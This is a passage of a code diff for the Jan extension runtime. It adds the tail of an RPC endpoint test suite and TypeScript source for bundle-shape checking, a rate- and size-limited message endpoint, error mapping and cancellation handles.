timeout', async () => {+ vi.useFakeTimers()+ try {+ const [, worker] = pair({ handle: () => new Promise(() => {}) })+ const pending = worker.request('hang', [])+ const settled = vi.fn()+ pending.catch(settled)+ await vi.advanceTimersByTimeAsync(29_000)+ expect(settled).not.toHaveBeenCalled()+ await vi.advanceTimersByTimeAsync(1_500)+ expect(settled).toHaveBeenCalledWith(+ expect.objectContaining({ code: 'E_TIMEOUT' })+ )+ } finally {+ vi.useRealTimers()+ }+ })++ it('cancels at once and flips the handler token', async () => {+ const seen = deferred<void>()+ const flipped = vi.fn()+ const [host] = pair(+ {},+ {+ handle: (_m, _a, token) => {+ token.onCancellationRequested(flipped)+ seen.resolve()+ return new Promise(() => {})+ },+ }+ )+ const source = new CancellationTokenSource()+ const call = host.request('$invoke', [1, []], { token: source.token })+ await seen.promise+ source.cancel()+ await expect(call).rejects.toMatchObject({ code: 'E_CANCELLED' })+ await vi.waitFor(() => expect(flipped).toHaveBeenCalledTimes(1))+ })++ it('rejects a request already cancelled without sending it', async () => {+ const handle = vi.fn()+ const [host] = pair({}, { handle })+ const source = new CancellationTokenSource()+ source.cancel()+ await expect(+ host.request('x', [], { token: source.token })+ ).rejects.toMatchObject({ code: 'E_CANCELLED' })+ await new Promise((r) => setTimeout(r, 20))+ expect(handle).not.toHaveBeenCalled()+ })++ it('refuses oversized payloads in either direction', async () => {+ const [host, worker] = pair(+ {+ maxMessageBytes: 1024,+ handle: async () => 'x'.repeat(4096),+ },+ { handle: async () => 'y'.repeat(4096) }+ )+ // Outgoing: never sent.+ await expect(+ host.request('big', ['z'.repeat(4096)])+ ).rejects.toMatchObject({ code: 'E_TOO_LARGE' })+ // Incoming response over the receiver's limit.+ await expect(host.request('reply', [])).rejects.toMatchObject({+ code: 'E_TOO_LARGE',+ })+ // A response the host would send that exceeds its own limit.+ await expect(worker.request('reply', [])).rejects.toMatchObject({+ code: 'E_TOO_LARGE',+ })+ })++ it('caps the number of requests in flight', async () => {+ const [, worker] = pair({ handle: () => new Promise(() => {}) })+ const calls = Array.from({ length: 256 }, () =>+ worker.request('hang', []).catch(() => undefined)+ )+ await expect(worker.request('hang', [])).rejects.toMatchObject({+ code: 'E_TOO_LARGE',+ })+ void calls+ })++ it('refuses incoming requests beyond the in-flight cap', async () => {+ const [host, worker] = pair({+ maxInFlight: 2,+ handle: () => new Promise(() => {}),+ })+ void host+ void worker.request('a', []).catch(() => undefined)+ void worker.request('b', []).catch(() => undefined)+ // The worker side does not cap itself here; the host does.+ await expect(worker.request('c', [])).rejects.toMatchObject({+ code: 'E_TOO_LARGE',+ })+ })++ it('reports a request over the in-flight cap to onRejected', async () => {+ const rejected: string[] = []+ const [host, worker] = pair({+ maxInFlight: 2,+ handle: () => new Promise(() => {}),+ onRejected: (e) => rejected.push(e.code),+ })+ void host+ void worker.request('a', []).catch(() => undefined)+ void worker.request('b', []).catch(() => undefined)+ await expect(worker.request('c', [])).rejects.toMatchObject({+ code: 'E_TOO_LARGE',+ })+ expect(rejected).toEqual(['E_TOO_LARGE'])+ })++ it('carries a disposable across and disposes it on request', async () => {+ // Worker side: callbacks by handle.+ const callbacks = new HandleTable<(args: unknown[]) => unknown>()+ // Host side: what each registration holds.+ const owned = new DisposableTable()+ const unregistered = vi.fn()+ let invokeWorker: ((handle: number, args: unknown[]) => unknown) | undefined++ const [host, worker] = pair(+ {+ handle: async (method, args) => {+ if (method === 'commands.register') {+ const [, ref] = args+ if (!isCallbackRef(ref)) throw new Error('expected a callback')+ invokeWorker = (handle, a) => host.request('$invoke', [handle, a])+ const registration: Disposable = toDisposable(unregistered)+ return { disposable: owned.add(registration), handle: ref.$callback }+ }+ if (method === '$dispose') {+ owned.dispose(args[0] as number)+ return undefined+ }+ throw new ExtensionError('E_NOT_FOUND', method)+ },+ },+ {+ handle: async (method, args) => {+ if (method !== '$invoke') throw new Error(method)+ const [handle, a] = args as [number, unknown[]]+ const fn = callbacks.get(handle)+ if (!fn) throw new ExtensionError('E_NOT_FOUND', 'no handler')+ return fn(a)+ },+ }+ )++ const handle = callbacks.add((a) => `hello ${String(a[0])}`)+ const reply = (await worker.request('commands.register', [+ 'greet',+ callbackRef(handle),+ ])) as { disposable: number; handle: number }+ expect(reply.handle).toBe(handle)+ await expect(invokeWorker?.(reply.handle, ['jan'])).resolves.toBe(+ 'hello jan'+ )++ await worker.request('$dispose', [reply.disposable])+ expect(unregistered).toHaveBeenCalledTimes(1)+ callbacks.delete(handle)+ await expect(invokeWorker?.(handle, [])).rejects.toMatchObject({+ code: 'E_NOT_FOUND',+ })+ })++ it('fans events out to every subscriber of a sub id', async () => {+ const one = vi.fn()+ const two = vi.fn()+ const other = vi.fn()+ const [host, worker] = pair()+ worker.onEvent(1, one)+ worker.onEvent(1, two)+ worker.onEvent(2, other)+ host.notify(1, { key: 'greeting', value: 'Hi' })+ await vi.waitFor(() => expect(two).toHaveBeenCalled())+ expect(one).toHaveBeenCalledWith({ key: 'greeting', value: 'Hi' })+ expect(other).not.toHaveBeenCalled()+ })++ it('stops delivering an event to a disposed listener', async () => {+ const listener = vi.fn()+ const [host, worker] = pair()+ worker.onEvent(7, listener).dispose()+ host.notify(7, 1)+ await new Promise((r) => setTimeout(r, 20))+ expect(listener).not.toHaveBeenCalled()+ })++ it('cleans up when the port closes', async () => {+ let token: { isCancellationRequested: boolean } | undefined+ const [host, worker] = pair(+ {},+ {+ handle: (_m, _a, t) => {+ token = t+ return new Promise(() => {})+ },+ }+ )+ const closed = vi.fn()+ host.onDidClose(closed)+ const pending = host.request('hang', [])+ await vi.waitFor(() => expect(token).toBeDefined())+ worker.close()+ await expect(pending).rejects.toMatchObject({ code: 'E_DISPOSED' })+ expect(token?.isCancellationRequested).toBe(true)+ await vi.waitFor(() => expect(closed).toHaveBeenCalledTimes(1))+ await expect(host.request('after', [])).rejects.toMatchObject({+ code: 'E_DISPOSED',+ })+ })++ it('passes control messages through and ignores malformed ones', async () => {+ const control = vi.fn()+ const { port1, port2 } = new MessageChannel()+ const host = new Endpoint(portTransport(port1), { onControl: control })+ open.push(host)+ port2.postMessage({ t: 'ready' })+ port2.postMessage({ v: 2, t: 'ready' })+ port2.postMessage({ v: 1, t: 'res', id: 'x', ok: true })+ port2.postMessage('hello')+ port2.postMessage({ v: 1, t: 'ready' })+ await vi.waitFor(() => expect(control).toHaveBeenCalledTimes(1))+ expect(control).toHaveBeenCalledWith({ v: 1, t: 'ready' })+ port2.close()+ })++ it('reports every malformed or oversized message to onRejected', async () => {+ const rejected = vi.fn()+ const { port1, port2 } = new MessageChannel()+ const host = new Endpoint(portTransport(port1), {+ onRejected: rejected,+ maxMessageBytes: 256,+ handle: async () => 'ok',+ })+ open.push(host)+ port2.postMessage('hello')+ port2.postMessage({ v: 1, t: 'req', id: 1, method: 'm', args: ['x'.repeat(1024)] })+ port2.postMessage({ v: 1, t: 'evt', sub: 1, value: 'x'.repeat(1024) })+ port2.postMessage({ v: 1, t: 'req', id: 2, method: 'm', args: [] })+ await vi.waitFor(() => expect(rejected).toHaveBeenCalledTimes(3))+ expect(rejected.mock.calls.map(([e]) => e.code)).toEqual([+ 'E_INVALID_ARGS',+ 'E_TOO_LARGE',+ 'E_TOO_LARGE',+ ])+ port2.close()+ })++ it('refuses what admit turns down before sizing or serving it, and reports it', async () => {+ const rejected = vi.fn()+ const handle = vi.fn(async () => 'ok')+ let budget = 1+ const { port1, port2 } = new MessageChannel()+ const host = new Endpoint(portTransport(port1), {+ onRejected: rejected,+ admit: () => budget-- > 0,+ handle,+ })+ open.push(host)+ const replies: unknown[] = []+ port2.addEventListener('message', (e) => replies.push((e as MessageEvent).data))+ port2.start()+ const stringify = vi.spyOn(JSON, 'stringify')+ port2.postMessage({ v: 1, t: 'req', id: 1, method: 'm', args: [] })+ port2.postMessage({ v: 1, t: 'req', id: 2, method: 'm', args: ['x'.repeat(1024)] })+ port2.postMessage({ v: 1, t: 'evt', sub: 1, value: 'x'.repeat(1024) })+ // A reply nobody waits for is just another message.+ port2.postMessage({ v: 1, t: 'res', id: 77, ok: true, value: 'x'.repeat(1024) })+ await vi.waitFor(() => expect(rejected).toHaveBeenCalledTimes(3))+ await vi.waitFor(() => expect(replies).toHaveLength(2))+ expect(handle).toHaveBeenCalledTimes(1)+ expect(rejected.mock.calls.map(([e]) => e.code)).toEqual([+ 'E_TOO_LARGE',+ 'E_TOO_LARGE',+ 'E_TOO_LARGE',+ ])+ expect(replies[1]).toMatchObject({ id: 2, ok: false, error: { code: 'E_TOO_LARGE' } })+ // A refused message is never serialized to be sized.+ const sized = stringify.mock.calls.map(([value]) => value)+ stringify.mockRestore()+ expect(sized).not.toContainEqual(expect.objectContaining({ t: 'req', id: 2 }))+ expect(sized).not.toContainEqual(expect.objectContaining({ t: 'evt' }))+ expect(sized).not.toContainEqual(expect.objectContaining({ t: 'res', id: 77 }))+ port2.close()+ })++ it('lets a pong to an outstanding ping through even when admit refuses everything else', async () => {+ const rejected = vi.fn()+ const control = vi.fn()+ const admit = vi.fn(() => false)+ const { port1, port2 } = new MessageChannel()+ const host = new Endpoint(portTransport(port1), {+ onRejected: rejected,+ onControl: control,+ admit,+ })+ open.push(host)+ host.sendControl({ v: 1, t: 'ping', n: 1 })+ port2.postMessage({ v: 1, t: 'evt', sub: 1, value: 'flood' })+ port2.postMessage({ v: 1, t: 'pong', n: 1 })+ await vi.waitFor(() => expect(control).toHaveBeenCalledTimes(1))+ expect(control).toHaveBeenCalledWith({ v: 1, t: 'pong', n: 1 })+ expect(rejected).toHaveBeenCalledTimes(1)+ // The pong spent no token: a busy but alive worker is not starved of+ // its heartbeat by its own traffic.+ expect(admit).toHaveBeenCalledTimes(1)+ port2.close()+ })++ it('charges a pong no ping is waiting on to admit', async () => {+ const rejected = vi.fn()+ const control = vi.fn()+ const admit = vi.fn(() => false)+ const { port1, port2 } = new MessageChannel()+ const host = new Endpoint(portTransport(port1), {+ onRejected: rejected,+ onControl: control,+ admit,+ })+ open.push(host)+ host.sendControl({ v: 1, t: 'ping', n: 1 })+ // Ahead of any ping, a repeat of an answered one, and one never sent.+ port2.postMessage({ v: 1, t: 'pong', n: 1 })+ port2.postMessage({ v: 1, t: 'pong', n: 1 })+ port2.postMessage({ v: 1, t: 'pong', n: 2 })+ await vi.waitFor(() => expect(rejected).toHaveBeenCalledTimes(2))+ expect(control).toHaveBeenCalledTimes(1)+ expect(admit).toHaveBeenCalledTimes(2)+ port2.close()+ })+})++describe('parseWire', () => {+ it('accepts every message kind of version 1', () => {+ const messages: Wire[] = [+ {+ v: 1,+ t: 'init',+ manifest: {+ name: '@acme/one',+ version: '1.0.0',+ id: 'acme.one',+ displayName: 'One',+ publisher: 'Acme',+ apiVersion: '^1.0.0',+ main: 'dist/index.js',+ permissions: ['tools'],+ },+ },+ { v: 1, t: 'ready' },+ {+ v: 1,+ t: 'activateFailed',+ error: { code: 'E_INTERNAL', message: 'x' },+ },+ { v: 1, t: 'req', id: 1, method: 'm', args: [] },+ { v: 1, t: 'res', id: 1, ok: true, value: 3 },+ {+ v: 1,+ t: 'res',+ id: 1,+ ok: false,+ error: { code: 'E_TIMEOUT', message: 'x' },+ },+ { v: 1, t: 'cancel', id: 1 },+ { v: 1, t: 'evt', sub: 1, value: null },+ { v: 1, t: 'ping', n: 1 },+ { v: 1, t: 'pong', n: 1 },+ ]+ for (const m of messages) expect(parseWire(m)).toEqual(m)+ })++ it('maps an unknown error code to E_INTERNAL', () => {+ expect(+ parseWire({+ v: 1,+ t: 'res',+ id: 1,+ ok: false,+ error: { code: 'E_WHATEVER', message: 'x' },+ })+ ).toEqual({+ v: 1,+ t: 'res',+ id: 1,+ ok: false,+ error: { code: 'E_INTERNAL', message: 'x' },+ })+ })++ it('rejects malformed messages', () => {+ for (const m of [+ null,+ 1,+ { v: 1 },+ { v: 1, t: 'req', id: 1, method: 2, args: [] },+ { v: 1, t: 'req', id: 1.5, method: 'm', args: [] },+ { v: 1, t: 'req', id: 1, method: 'm', args: {} },+ { v: 1, t: 'evt', sub: 'a', value: 1 },+ { v: 1, t: 'init' },+ { v: 1, t: 'init', manifest: [] },+ ]) {+ expect(parseWire(m)).toBeUndefined()+ }+ })+})diff --git a/packages/extension-runtime/src/compose.ts b/packages/extension-runtime/src/compose.tsnew file mode 100644index 000000000..fcff80949--- /dev/null+++ b/packages/extension-runtime/src/compose.ts@@ -0,0 +1,90 @@+import { ExtensionError } from '@janhq/extension-api'+import { parse, type Program } from 'acorn'++/** The one global a bundle defines, and the only thing it may declare. */+export const BUNDLE_GLOBAL = 'JanExtension'++const invalid = (reason: string) =>+ new ExtensionError(+ 'E_INVALID_ARGS',+ `The bundle must be a single top-level 'var ${BUNDLE_GLOBAL} = <expression>' statement: ${reason}`+ )++/**+ * Refuses a bundle unless, parsed on its own as a classic script, it is+ * one `var JanExtension = <expression>` statement, optionally after a+ * 'use strict' directive (comments are free). The bundle shares one script+ * with the prelude, and every top-level declaration of a script is bound+ * on the global before its first line runs: a bundle declaring+ * `function Set() {}` or `var navigator` would be read by the prelude+ * before it strips anything. Parsing it standalone also proves it cannot+ * close anything the composition opens around it.+ *+ * The bundle then starts in a realm the prelude has locked down with SES:+ * every primordial (`Object.prototype`, `Array.prototype`, `Promise`,+ * `JSON`, ...) is frozen, `eval` and `Function` throw, and `harden` is a+ * global. A bundle that assigns to a built-in prototype at load time, as+ * some polyfills do, fails to start.+ */+export function assertBundleShape(bundle: string): void {+ let program: Program+ try {+ program = parse(bundle, {+ ecmaVersion: 'latest',+ sourceType: 'script',+ allowHashBang: false,+ })+ } catch (error) {+ throw invalid(error instanceof Error ? error.message : String(error))+ }+ const body = [...program.body]+ const first = body[0]+ if (+ first?.type === 'ExpressionStatement' &&+ first.directive === 'use strict'+ )+ body.shift()+ const [statement, ...rest] = body+ if (!statement || rest.length > 0)+ throw invalid(`found ${program.body.length} top-level statements`)+ if (statement.type !== 'VariableDeclaration' || statement.kind !== 'var')+ throw invalid(`found a top-level ${statement.type}`)+ const [declarator, ...others] = statement.declarations+ if (+ others.length > 0 ||+ declarator.id.type !== 'Identifier' ||+ declarator.id.name !== BUNDLE_GLOBAL ||+ !declarator.init+ )+ throw invalid(`it declares something other than '${BUNDLE_GLOBAL}'`)+}++/**+ * The one script a worker runs: prelude, then the extension bundle, then+ * the boot call. It has to be one script because the worker inherits the+ * window CSP, which allows neither eval nor importing blob:/data: code, so+ * the extension cannot be loaded after the prelude any other way.+ *+ * The prelude ends with SES `lockdown`, so the order inside the script is:+ * realm checks and stripping, lockdown, bundle, `__janBoot`. Lockdown is+ * the prelude's last step rather than a line of its own here: the prelude+ * calls the `lockdown` it took from SES, which a hoisted declaration of+ * the bundle cannot replace, and it must come after the realm checks,+ * which refuse the `Error` that SES installs. SES is bundled into the+ * prelude, so a worker loads nothing from the network.+ *+ * The bundle is an IIFE assigning `var JanExtension` (rolldown/esbuild+ * `format: 'iife', name: 'JanExtension'`); `assertBundleShape` enforces+ * that, and throws for anything else. The separating semicolons keep a+ * bundle without a trailing one from swallowing the next line, and the+ * newline before the trailer ends a trailing line comment.+ */+export function composeWorkerSource(prelude: string, bundle: string): string {+ assertBundleShape(bundle)+ return [+ prelude,+ `;${bundle}`,+ `;self.__janBoot(typeof ${BUNDLE_GLOBAL} === 'undefined' ? undefined : ${BUNDLE_GLOBAL})`,+ '',+ ].join('\n')+}diff --git a/packages/extension-runtime/src/endpoint.ts b/packages/extension-runtime/src/endpoint.tsnew file mode 100644index 000000000..6beb0e974--- /dev/null+++ b/packages/extension-runtime/src/endpoint.ts@@ -0,0 +1,392 @@+import {+ Emitter,+ ExtensionError,+ type CancellationToken,+ type Disposable,+ type Event as ApiEvent,+} from '@janhq/extension-api'+import { fromRpcError, toRpcError, type RpcError } from './errors.js'+import { CancellationTokenSource } from './handles.js'+import { parseWire, type ControlMessage, type Wire } from './protocol.js'++/** Per-message cap, on the JSON size estimate of the whole message. */+export const MAX_MESSAGE_BYTES = 4 * 1024 * 1024+/** Requests one side may have outstanding, and may be serving, at once. */+export const MAX_IN_FLIGHT = 256+export const DEFAULT_TIMEOUT_MS = 30_000++/**+ * A message channel to the other side. The worker global, a `Worker` and a+ * `MessagePort` all fit with a thin adapter, so the endpoint never touches+ * globals itself (which matters once the prelude has stripped them).+ */+export interface Transport {+ send(message: Wire): void+ onMessage(listener: (data: unknown) => void): Disposable+ /** Fires when the other side went away, where the channel can tell. */+ onClose?(listener: () => void): Disposable+ close(): void+}++/** What `portTransport` needs; node and DOM message ports both have it. */+export interface PortLike {+ postMessage(message: unknown): void+ addEventListener(type: string, listener: (e: Event) => void): void+ removeEventListener(type: string, listener: (e: Event) => void): void+ start?(): void+ close(): void+}++export function portTransport(port: PortLike): Transport {+ return {+ send: (message) => port.postMessage(message),+ onMessage: (listener) => {+ const handler = (e: Event) => listener((e as MessageEvent).data)+ port.addEventListener('message', handler)+ port.start?.()+ return { dispose: () => port.removeEventListener('message', handler) }+ },+ // Node ports fire `close` on both ends; DOM ports do not, and there the+ // host closes the channel itself when it terminates the worker.+ onClose: (listener) => {+ port.addEventListener('close', listener)+ return { dispose: () => port.removeEventListener('close', listener) }+ },+ close: () => port.close(),+ }+}++export type RequestHandler = (+ method: string,+ args: unknown[],+ token: CancellationToken+) => unknown++export interface EndpointOptions {+ /** Serves the other side's requests; absent means every request fails. */+ handle?: RequestHandler+ /** Receives lifecycle messages (`init`, `ready`, `ping`, ...). */+ onControl?: (message: ControlMessage) => void+ /**+ * Hears about every message refused without reaching a handler: one that+ * is malformed, over the size cap or over the in-flight cap. The host counts them to stop a+ * worker that floods it.+ */+ onRejected?: (error: ExtensionError) => void+ /**+ * Asked for every well-formed message except a reply to a request this+ * side is waiting on and a `pong` to an outstanding `ping`, before it is sized or served; `false` refuses it (a request+ * gets an error reply) and reports it to `onRejected`. The host rate+ * limits a worker with it, so a flood costs no more than the parse.+ */+ admit?: () => boolean+ maxMessageBytes?: number+ maxInFlight?: number+ defaultTimeoutMs?: number+}++export interface RequestOptions {+ /** Milliseconds before `E_TIMEOUT`; null waits until cancelled or closed. */+ timeoutMs?: number | null+ token?: CancellationToken+}++interface Pending {+ resolve(value: unknown): void+ reject(error: ExtensionError): void+ cleanup(): void+}++// Structured clone and JSON differ, but JSON length is a cheap, safe upper+// bound for the strings and plain objects this protocol carries.+function estimateSize(message: Wire): number | undefined {+ try {+ return JSON.stringify(message)?.length ?? 0+ } catch {+ return undefined+ }+}++const tooLarge = (limit: number) =>+ new ExtensionError('E_TOO_LARGE', `Message exceeds ${limit} bytes`)++/**+ * One side of the RPC channel. It correlates requests and responses, runs+ * the timeout and in-flight limits, carries cancellation both ways and+ * delivers pushed events. It knows nothing about methods: the host+ * dispatcher and the worker context decide what each one means.+ */+export class Endpoint {+ private nextId = 1+ private readonly pending = new Map<number, Pending>()+ private readonly serving = new Map<number, CancellationTokenSource>()+ private readonly events = new Map<number, Set<(value: unknown) => void>>()+ private readonly subscriptions: Disposable[] = []+ private readonly closed = new Emitter<void>()+ private isClosed = false+ // The newest ping sent and the newest one answered: only a pong between+ // them is owed, so only that one is exempt from `admit`.+ private lastPing = 0+ private lastPong = 0+ private readonly maxBytes: number+ private readonly maxInFlight: number+ private readonly defaultTimeout: number++ /** Fires once, when either side closes the channel. */+ readonly onDidClose: ApiEvent<void> = this.closed.event++ constructor(+ private readonly transport: Transport,+ private readonly options: EndpointOptions = {}+ ) {+ this.maxBytes = options.maxMessageBytes ?? MAX_MESSAGE_BYTES+ this.maxInFlight = options.maxInFlight ?? MAX_IN_FLIGHT+ this.defaultTimeout = options.defaultTimeoutMs ?? DEFAULT_TIMEOUT_MS+ this.subscriptions.push(transport.onMessage((data) => this.receive(data)))+ const onClose = transport.onClose?.(() => this.close())+ if (onClose) this.subscriptions.push(onClose)+ }++ get disposed(): boolean {+ return this.isClosed+ }++ request(+ method: string,+ args: unknown[],+ options: RequestOptions = {}+ ): Promise<unknown> {+ if (this.isClosed)+ return Promise.reject(+ new ExtensionError('E_DISPOSED', 'The extension channel is closed')+ )+ const { token } = options+ if (token?.isCancellationRequested)+ return Promise.reject(new ExtensionError('E_CANCELLED', 'Cancelled'))+ if (this.pending.size >= this.maxInFlight)+ return Promise.reject(+ new ExtensionError(+ 'E_TOO_LARGE',+ `More than ${this.maxInFlight} requests in flight`+ )+ )+ const id = this.nextId+++ const failure = this.trySend({ v: 1, t: 'req', id, method, args })+ if (failure) return Promise.reject(failure)++ return new Promise((resolve, reject) => {+ const timeoutMs =+ options.timeoutMs === undefined ? this.defaultTimeout : options.timeoutMs+ // Giving up on a request tells the other side, so its handler can stop.+ const abandon = (error: ExtensionError) => {+ const entry = this.pending.get(id)+ if (!entry) return+ this.pending.delete(id)+ entry.cleanup()+ this.trySend({ v: 1, t: 'cancel', id })+ reject(error)+ }+ const timer =+ timeoutMs === null+ ? undefined+ : setTimeout(+ () =>+ abandon(+ new ExtensionError(+ 'E_TIMEOUT',+ `'${method}' timed out after ${timeoutMs} ms`+ )+ ),+ timeoutMs+ )+ const cancellation = token?.onCancellationRequested(() =>+ abandon(new ExtensionError('E_CANCELLED', `'${method}' was cancelled`))+ )+ this.pending.set(id, {+ resolve,+ reject,+ cleanup: () => {+ if (timer !== undefined) clearTimeout(timer)+ cancellation?.dispose()+ },+ })+ })+ }++ /** Pushes an event to the other side's listeners of `sub`. */+ notify(sub: number, value: unknown): void {+ const failure = this.trySend({ v: 1, t: 'evt', sub, value })+ if (failure) console.warn(`Event ${sub} was not delivered:`, failure.message)+ }++ /** Listens to events pushed for `sub`; several listeners may share one. */+ onEvent(sub: number, listener: (value: unknown) => void): Disposable {+ let set = this.events.get(sub)+ if (!set) {+ set = new Set()+ this.events.set(sub, set)+ }+ set.add(listener)+ return {+ dispose: () => {+ const current = this.events.get(sub)+ current?.delete(listener)+ if (current?.size === 0) this.events.delete(sub)+ },+ }+ }++ sendControl(message: ControlMessage): void {+ const failure = this.trySend(message)+ if (failure) throw failure+ if (message.t === 'ping') this.lastPing = Math.max(this.lastPing, message.n)+ }++ /**+ * Closes the channel: pending requests fail with `E_DISPOSED`, handlers+ * still running see their token cancelled, and nothing more is sent.+ */+ close(): void {+ if (this.isClosed) return+ this.isClosed = true+ for (const d of this.subscriptions.splice(0)) d.dispose()+ const disposed = new ExtensionError(+ 'E_DISPOSED',+ 'The extension channel closed'+ )+ for (const entry of this.pending.values()) {+ entry.cleanup()+ entry.reject(disposed)+ }+ this.pending.clear()+ for (const source of this.serving.values()) source.cancel()+ this.serving.clear()+ this.events.clear()+ try {+ this.transport.close()+ } catch (error) {+ console.warn('Closing the extension channel failed:', error)+ }+ this.closed.fire()+ this.closed.dispose()+ }++ private trySend(message: Wire): ExtensionError | undefined {+ if (this.isClosed)+ return new ExtensionError('E_DISPOSED', 'The extension channel is closed')+ const size = estimateSize(message)+ if (size === undefined)+ return new ExtensionError('E_INVALID_ARGS', 'Message is not serializable')+ if (size > this.maxBytes) return tooLarge(this.maxBytes)+ try {+ this.transport.send(message)+ return undefined+ } catch (error) {+ // DataCloneError: a function or a host object in the payload.+ return new ExtensionError(+ 'E_INVALID_ARGS',+ error instanceof Error ? error.message : 'Message could not be sent'+ )+ }+ }++ private receive(data: unknown): void {+ if (this.isClosed) return+ const message = parseWire(data)+ if (!message) {+ this.options.onRejected?.(+ new ExtensionError('E_INVALID_ARGS', 'Malformed message')+ )+ return+ }+ const awaited = message.t === 'res' && this.pending.has(message.id)+ // A pong answering an outstanding ping is exempt too, so a worker+ // sending at the rate limit keeps its heartbeat. Any other pong is+ // charged like any message, or a worker could flood with them unchecked.+ const owed =+ message.t === 'pong' &&+ message.n > this.lastPong &&+ message.n <= this.lastPing+ if (owed) this.lastPong = message.n+ const exempt = awaited || owed+ if (!exempt && this.options.admit?.() === false) {+ const error = new ExtensionError('E_TOO_LARGE', 'Too many messages')+ this.options.onRejected?.(error)+ if (message.t === 'req') this.respondError(message.id, error)+ return+ }+ const size = estimateSize(message)+ const oversized = size === undefined || size > this.maxBytes+ if (oversized) this.options.onRejected?.(tooLarge(this.maxBytes))+ switch (message.t) {+ case 'req':+ if (oversized) return this.respondError(message.id, tooLarge(this.maxBytes))+ return this.serve(message.id, message.method, message.args)+ case 'res': {+ const entry = this.pending.get(message.id)+ if (!entry) return+ this.pending.delete(message.id)+ entry.cleanup()+ if (oversized) entry.reject(tooLarge(this.maxBytes))+ else if (message.ok) entry.resolve(message.value)+ else entry.reject(fromRpcError(message.error))+ return+ }+ case 'cancel':+ this.serving.get(message.id)?.cancel()+ return+ case 'evt': {+ if (oversized) return+ for (const listener of [...(this.events.get(message.sub) ?? [])]) {+ try {+ listener(message.value)+ } catch (error) {+ console.error('Event listener failed:', error)+ }+ }+ return+ }+ default:+ this.options.onControl?.(message)+ }+ }++ private serve(id: number, method: string, args: unknown[]): void {+ const { handle } = this.options+ if (!handle)+ return this.respondError(+ id,+ new ExtensionError('E_NOT_FOUND', `No handler for '${method}'`)+ )+ if (this.serving.size >= this.maxInFlight) {+ const error = new ExtensionError(+ 'E_TOO_LARGE',+ `More than ${this.maxInFlight} requests in flight`+ )+ this.options.onRejected?.(error)+ return this.respondError(id, error)+ }+ const source = new CancellationTokenSource()+ this.serving.set(id, source)+ void (async () => {+ let reply: Wire+ try {+ const value = await handle(method, args, source.token)+ reply = { v: 1, t: 'res', id, ok: true, value }+ } catch (error) {+ reply = { v: 1, t: 'res', id, ok: false, error: toRpcError(error) }+ }+ this.serving.delete(id)+ // The requester stopped waiting; an answer now would only be dropped.+ if (source.token.isCancellationRequested) return+ const failure = this.trySend(reply)+ if (failure && failure.code !== 'E_DISPOSED')+ this.respondError(id, failure)+ })()+ }++ private respondError(id: number, error: ExtensionError): void {+ const rpc: RpcError = toRpcError(error)+ this.trySend({ v: 1, t: 'res', id, ok: false, error: rpc })+ }+}diff --git a/packages/extension-runtime/src/errors.ts b/packages/extension-runtime/src/errors.tsnew file mode 100644index 000000000..ad86c3487--- /dev/null+++ b/packages/extension-runtime/src/errors.ts@@ -0,0 +1,38 @@+import { ExtensionError, type ExtensionErrorCode } from '@janhq/extension-api'++/** An error as it crosses the boundary: structured clone drops Error classes. */+export interface RpcError {+ code: ExtensionErrorCode+ message: string+}++const CODES: ReadonlySet<string> = new Set<ExtensionErrorCode>([+ 'E_PERMISSION',+ 'E_INVALID_ARGS',+ 'E_NOT_FOUND',+ 'E_TIMEOUT',+ 'E_CANCELLED',+ 'E_DISPOSED',+ 'E_TOO_LARGE',+ 'E_INTERNAL',+])++export function isErrorCode(value: unknown): value is ExtensionErrorCode {+ return typeof value === 'string' && CODES.has(value)+}++/**+ * The wire form of anything thrown by a handler. Only `ExtensionError` keeps+ * its code; anything else is an internal failure, so a stray `code` property+ * on a library error cannot impersonate a permission denial.+ */+export function toRpcError(error: unknown): RpcError {+ if (error instanceof ExtensionError)+ return { code: error.code, message: error.message }+ if (error instanceof Error) return { code: 'E_INTERNAL', message: error.message }+ return { code: 'E_INTERNAL', message: String(error) }+}++export function fromRpcError(error: RpcError): ExtensionError {+ return new ExtensionError(error.code, error.message)+}diff --git a/packages/extension-runtime/src/handles.ts b/packages/extension-runtime/src/handles.tsnew file mode 100644index 000000000..a8e970724--- /dev/null+++ b/packages/extension-runtime/src/handles.ts@@ -0,0 +1,117 @@+import {+ Emitter,+ type CancellationToken,+ type Disposable,+ type Event,+} from '@janhq/extension-api'++/**+ * Numbered entries for things that cannot cross the boundary: functions on+ * the worker side, registrations on the host side. Ids start at 1 and are+ * never reused, so a stale id from a disposed entry can never hit a newer one.+ */+export class HandleTable<T> {+ private next = 1+ private readonly entries = new Map<number, T>()++ add(value: T): number {+ const id = this.next+++ this.entries.set(id, value)+ return id+ }++ get(id: number): T | undefined {+ return this.entries.get(id)+ }++ delete(id: number): T | undefined {+ const value = this.entries.get(id)+ this.entries.delete(id)+ return value+ }++ /** Empties the table and returns what it held, oldest first. */+ drain(): T[] {+ const values = [...this.entries.values()]+ this.entries.clear()+ return values+ }++ get size(): number {+ return this.entries.size+ }+}++/**+ * The host's registrations of one worker, addressed by the ids sent back to+ * it. `dispose(id)` serves `$dispose`; `disposeAll` runs when the worker+ * goes away, newest first like a `DisposableStore`.+ */+export class DisposableTable {+ private readonly table = new HandleTable<Disposable>()++ add(d: Disposable): number {+ return this.table.add(d)+ }++ /** False when `id` is unknown or already disposed. */+ dispose(id: number): boolean {+ const d = this.table.delete(id)+ d?.dispose()+ return d !== undefined+ }++ disposeAll(): void {+ for (const d of this.table.drain().reverse()) {+ try {+ d.dispose()+ } catch (error) {+ console.error('Disposing a worker registration failed:', error)+ }+ }+ }++ get size(): number {+ return this.table.size+ }+}++/** A token that never fires, for calls nobody can cancel. */+export const NONE_TOKEN: CancellationToken = Object.freeze({+ isCancellationRequested: false,+ onCancellationRequested: () => ({ dispose: () => undefined }),+})++/** The writable side of a `CancellationToken`. */+export class CancellationTokenSource {+ private cancelled = false+ private readonly emitter = new Emitter<void>()++ readonly token: CancellationToken++ constructor() {+ const self = this+ const onCancellationRequested: Event<void> = (listener) => {+ // A listener added after cancellation still hears about it, so a+ // handler that subscribes late cannot miss the request.+ if (self.cancelled) {+ queueMicrotask(() => listener())+ return { dispose: () => undefined }+ }+ return self.emitter.event(listener)+ }+ this.token = {+ get isCancellationRequested() {+ return self.cancelled+ },+ onCancellationRequested,+ }+ }++ cancel(): void {+ if (this.cancelled) return+ this.cancelled = true+ this.emitter.fire()+ this.emitter.dispose()+ }+}diff --git a/packages/extension-runtime/src/index.ts b/packages/extension-runtime/src/index.tsnew file mode 100644index 000000000..95201537e--- /dev/null+++ b/packages/extension-runtime/src/index.ts@@ -0,0 +1,65 @@+/**+ * The worker runtime for Jan 